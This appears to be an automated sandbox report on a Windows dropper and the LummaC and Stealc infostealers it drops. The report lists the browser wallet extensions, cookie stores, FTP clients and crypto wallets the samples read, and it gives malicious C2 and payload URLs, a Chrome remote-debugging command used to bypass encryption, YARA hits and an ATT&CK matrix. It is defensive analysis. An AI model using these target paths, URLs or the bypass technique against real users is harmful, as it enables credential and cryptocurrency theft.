Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: bebc60ce74.exe	Binary or memory string: WIN_81
Source: bebc60ce74.exe	Binary or memory string: WIN_XP
Source: bebc60ce74.exe, 0000000A.00000000.2728305400.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: bebc60ce74.exe	Binary or memory string: WIN_XPe
Source: bebc60ce74.exe	Binary or memory string: WIN_VISTA
Source: bebc60ce74.exe	Binary or memory string: WIN_7
Source: bebc60ce74.exe	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS

Source: Yara match	File source: 0000000D.00000003.2943309001.0000000001671000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2825179151.00000000016E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2828925343.00000000016E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2889608789.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2920452481.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3266423642.00000000013E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2921483438.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2865334230.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2889719285.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2865846059.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2825415418.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2920033853.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2832268259.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2865633678.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e01d8601b1.exe PID: 3736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0db0ccc3ed.exe PID: 5572, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: bebc60ce74.exe PID: 7268, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 0db0ccc3ed.exe PID: 5572, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000034.00000002.3376968431.000000000170B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2844281590.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3262564734.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.3370665034.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3182952645.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2666570442.0000000005220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3253024678.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3139427650.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e01d8601b1.exe PID: 3736, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FB1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		10_2_00FB1204
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FB1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		10_2_00FB1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	421 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	Security Account Manager	14 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	NTDS	249 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	2 Valid Accounts	1 DLL Side-Loading	LSA Secrets	991 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Access Token Manipulation	2 Bypass User Account Control	Cached Domain Credentials	381 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	12 Process Injection	1 Extra Window Memory Injection	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Scheduled Task/Job	11 Masquerading	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	11 Registry Run Keys / Startup Folder	2 Valid Accounts	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	381 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	12 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://www.tsn.ca9n	0%	Avira URL Cloud	safe
https://screenshots.firefox.comk0M	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exed4~	0%	Avira URL Cloud	safe
https://youtube.comk	0%	Avira URL Cloud	safe
https://screenshots.firefox.com//shims/google-publisher-tags.js	0%	Avira URL Cloud	safe
https://screenshots.firefox.combrowser.urlbar.suggest.topsitestestPermissionFromPrincipalnetwork.pro	0%	Avira URL Cloud	safe
https://cook-rain.sbs/api:	100%	Avira URL Cloud	malware
https://www.widevine.com/operationsRequiringRestartget	0%	Avira URL Cloud	safe
https://cook-rain.sbs/apiHOME	100%	Avira URL Cloud	malware
https://cook-rain.sbs/H	100%	Avira URL Cloud	malware
https://cook-rain.sbs/C	100%	Avira URL Cloud	malware
https://cook-rain.sbs/6	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
star-mini.c10r.facebook.com	157.240.195.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.65	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
services.addons.mozilla.org	151.101.1.91	true	false	high
cook-rain.sbs	172.67.155.248	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
dyna.wikimedia.org	185.15.58.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.78	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
youtube-ui.l.google.com	142.250.181.78	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
reddit.map.fastly.net	151.101.1.140	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
